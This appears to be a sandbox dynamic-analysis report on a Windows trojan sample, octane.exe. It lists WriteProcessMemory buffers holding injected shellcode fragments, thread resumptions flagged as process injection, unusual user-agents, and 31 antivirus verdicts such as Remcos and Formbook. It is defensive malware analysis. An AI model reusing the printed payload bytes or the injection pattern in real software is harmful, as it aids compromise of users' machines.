WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤vHG base_address: 0x00490000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x004a0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: GetNativeSystemInfo base_address: 0x004b0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: KERNEL32.dll base_address: 0x004c0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: Õ³w"¤vE¤vLK base_address: 0x004d0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0
WriteProcessMemory Oct. 7, 2021, 5:35 p.m.	buffer: UìÄìVWEð}ì¥¥¥¥¥ÿuøÿUôÿuüPÿUðPÿUì_^å]ÂÀUìÄàSVWùUüØu3ÀEøhPh,PèÿÿPèÿÿEèh<Ph,PèíÿÿPèïÿÿEähLPh,PèÕÿÿPè×ÿÿEàþu}ðëÎ×ÃèGüÿÿEðUüÃè¢ûÿÿEìjjMàº$OÃè`üÿÿØÛtjÿSèVÿÿEôPSèDÿÿEôEøEø_^[å]ÂGetModuleHandleAkernel32.dllGetProcAddressExitThreadUìÄìSEüEüEøE@ü¤EôëUEø@èÑèEìEøÀEðUìJÒr0BEðföÅðtE@ô]øfáÿ·ÉÁMIøEðJuÑEðEøEø+Eü;Eôr [å]Ã base_address: 0x004e0000 process_identifier: 2200 process_handle: 0x00000578	1	1	0

Network activity contains more than one unique useragent (2 events)

process	octane.exe				useragent	lVali
process	octane.exe				useragent	aswe

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3500 resumed a thread in remote process 3564
Process injection	Process 3904 resumed a thread in remote process 3964
NtResumeThread Oct. 7, 2021, 5:35 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 3564	1	0	0
NtResumeThread Oct. 7, 2021, 5:35 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 3964	1	0	0

File has been identified by 31 AntiVirus engines on VirusTotal as malicious (31 events)

Lionic	Trojan.Win32.Androm.m!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.37736494
FireEye	Trojan.GenericKD.37736494
McAfee	RDN/Generic BackDoor
Malwarebytes	Malware.AI.2173583272
Sangfor	Virus.Win32.Save.a
K7AntiVirus	Trojan ( 00571cf51 )
K7GW	Trojan ( 00571cf51 )
BitDefenderTheta	Gen:NN.ZelphiF.34170.6KW@a4TTdIii
Cyren	W32/Rescoms.N.gen!Eldorado
Symantec	Trojan.Gen.9
ESET-NOD32	a variant of Win32/GenKryptik.EVCG
APEX	Malicious
Paloalto	generic.ml
ClamAV	Win.Trojan.Remcos-9897068-0
Kaspersky	HEUR:Trojan-Downloader.Win32.Formbook.gen
BitDefender	Trojan.GenericKD.37736494
Ad-Aware	Trojan.GenericKD.37736494
DrWeb	Trojan.Siggen9.48175
McAfee-GW-Edition	BehavesLike.Win32.Worm.dh
Sophos	Mal/Generic-S
Ikarus	Win32.Outbreak
Kingsoft	Win32.Troj.Undef.(kcloud)
GData	Trojan.GenericKD.37736494
Cynet	Malicious (score: 100)
VBA32	BScope.TrojanSpy.Noon
MAX	malware (ai score=86)
TrendMicro-HouseCall	TROJ_GEN.R002H0CJ621
Fortinet	W32/Injector.EQAC!tr
Webroot	W32.Trojan.Gen

octane.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All